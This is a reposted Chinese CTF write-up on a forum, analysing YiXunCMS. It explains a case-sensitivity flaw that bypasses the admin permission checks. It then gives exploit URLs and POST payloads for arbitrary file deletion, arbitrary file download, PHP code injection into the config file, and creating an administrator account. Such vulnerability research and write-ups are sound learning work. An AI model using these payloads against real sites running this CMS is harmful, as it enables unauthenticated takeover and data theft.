安全矩阵

 找回密码
 立即注册
搜索
查看: 4871|回复: 0

巅峰极客YiXunCMS

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-31 08:24:04 | 显示全部楼层 |阅读模式
原文链接:巅峰极客YiXunCMS

YiXunCMS
这次巅峰极客上出现的一道题目,当时思路大错误,并且网络上的都是关于后端的一个洞,没看到很么关于前台的洞。所以当时也就没有做出来。线下和师傅们交流了下,复现了一波。
过程梳理
首先这个CMS是一个基于YixunCMS二次开发的一个图书管理系统,下载地址。
部署好之后,我们简单看一下整个框架的运行的一个过程。



这里我们可以看到,在入口文件index.php中require('./php/index.php')我们接着跟进。跟进之后,我们不难发现。其主要作用就是一个自动包含,以及对url解析的,来触发相应的Controller中的Method。举个例子
比如我们访问
  1. http://127.0.0.1/index.php/mrkaixin/hello/say/nice
复制代码

那么这里就会解析成:

  • Controller: Mrkaixin
  • Method: hello
  • Param: say=nice
但是和一般的MVC框架不一样的是。

这里有两个静态方法
  1. ...
  2. Structure::commoncontroler(APP_PATH."controls/",$controlerpath);
  3. Structure::controler($srccontrolerfile, $controlerpath, $_GET["m"]);
  4. ...
复制代码

其实这俩方法的作用就是,在runtime文件夹下,根据Controller建立一个类,这个类都继承了Commons这个类(Common自身继承Action这个类。



那么再跟进到Commons.class.php中。
  1. class Common extends Action {
  2.    function init(){
  3.       if(!file_exists("./runtime/install.lock")){
  4.          header("Location:".B_ROOT."/install/index.php");
  5.       }

  6.       if(!(isset($_SESSION["isLogin"]) && $_SESSION["isLogin"]===1)){
  7.          $this->redirect("login/index");
  8.       }

  9.       $setadmin=array('baseset');
  10.       if(in_array($_GET["a"], $setadmin) && $_SESSION["setadmin"]!=1){
  11.          $this->error("权限不足,你不能进行系统设置", 3, "index/main");
  12.       }

  13.       $useradmin=array('user', 'group');
  14.       if(in_array($_GET["m"], $useradmin) && $_SESSION["useradmin"]!=1){
  15.          $this->error("权限不足,你不能进行用户及用户组管理", 3, "index/main");
  16.       }

  17.       $memberadmin=array('readcolumn', 'member');
  18.       if(in_array($_GET["m"], $memberadmin) && $_SESSION["memberadmin"]!=1){
  19.          $this->error("权限不足,你不能进行读者管理", 3, "index/main");
  20.       }        

  21.       $bookadmin=array('bookcolumn', 'book');
  22.       if(in_array($_GET["m"], $bookadmin) && $_SESSION["bookadmin"]!=1){
  23.          $this->error("权限不足,你不能进行图书档案管理", 3, "index/main");
  24.       }

  25.       $borrowadmin=array('borrow');
  26.       if(in_array($_GET["m"], $borrowadmin) && $_SESSION["borrwadmin"]!=1){
  27.          $this->error("权限不足,你不能进行图书借阅操作", 3, "index/main");
  28.       }

  29.       $froadmin=array('fro');
  30.       if(in_array($_GET["m"], $froadmin) && $_SESSION["froadmin"]!=1){
  31.          $this->error("权限不足,你不能进行批量导入数据操作", 3, "index/main");
  32.       }

  33.       $dataadmin=array('databak','webbak');
  34.       if(in_array($_GET["m"], $dataadmin) && $_SESSION["froadmin"]!=1){
  35.          $this->error("权限不足,你不能进行数据管理操作", 3, "index/main");
  36.       }        
  37.       
  38.    }
复制代码

在这里我们可以发现,有大量的鉴权操作,如果进入到$this->error中的逻辑,会直接return一个值,然后跳转到login/index。那有可能会有人要问了,为什么上面已经跳转了,还能往下执行了呢,按理说不是应该,直接跳转了吗,为啥还要鉴权。

其实我们跟进到$this->redirect这个方法里面,就可以知道了。

这里我们可以看到,只是利用js进行跳转,所以要等到页面渲染的时候,才会进行一个跳转的操作,所以也自然而然不会暂停整个php代码往下运行。
但是如果进入到error这个方法,则会立即退出,然后渲染页面,导致跳转

         所以漏洞点也就来了。那么如果我们绕过这些鉴权,也就意味着是不是所有的Controller都是未鉴权了呢?答案是肯定的。
        我们看一下他鉴权的一个逻辑,不难发现,它是根据值在不在数组里来判断的,而没有采用,更安全的正则。

  1. $dataadmin=array('databak','webbak');
  2.   if(in_array($_GET["m"], $dataadmin) && $_SESSION["froadmin"]!=1){
  3.      $this->error("权限不足,你不能进行数据管理操作", 3, "index/main");
  4.   }
复制代码

所以这里我们只需要利用大小写,就可以顺利绕过。所以这样所有的后台洞,也就变成了前台的洞了。

前台任意文件删除+前台GetShell有了未鉴权,这洞也太多了。
我们在home\controls一找一大堆,首先来一个任意文件删除,这类洞直接phpstorm ,搜索unlink

这里我们可以看到,直接吧我们的file参数,拼接到了dirname中,我们可以利用跨越目录的方式进行一个任意文件删除,这里我选择删除的是runtime/install.lock,这个文件是用来检查是否安装上的,删掉的话,又会重新运行安装程序,这样我们也是可以getshell的
exp:
  1. http://localhost/index.php/Webbak/del?file=../runtime/install.lock
复制代码



这还没完,我们可以在网站名称这里进行任意代码执行。从而GetShell
  1. ");?><?php phpinfo(); ?>//
复制代码



这里的原理是闭合掉config.inc.php中的内容


前台任意文件下载这里还找了个任意文件下载的。还是home/contros/webbak

这里可以看到,也是可以拼接的路径,所以这里就不在具体分析。
exp:
  1. http://localhost/index.php/Webbak/dow?file=../config.inc.php
复制代码



任意添加管理员在home\controls\user.class.php下找到了个insert方法。
插入主要原理是通过对比user.xml和$_POST的参数,并且POST参数是可控的,所以只需要设置gid为1便可以任意创建管理员。

exp:
  1. username=mrkaixin&userpwd=123&email=mrkaixin@vip.qq.com&userpwd=123&repwd=123&srcpwd=1®time=1&gid=1
复制代码



前台Getshell姿势二这个姿势和这篇文章里面讲的基本上一模一样,这里就不在赘述了。
exp:
  1. appname=1&icp=1©=");?><?php phpinfo(); ?>//&bookPageSize=1&phwidth=1&phheight=1&bkwidth=1&bkheight=1
复制代码




最近HW结束一直忙的停不下来。。。  





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 09:41 , Processed in 0.014897 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表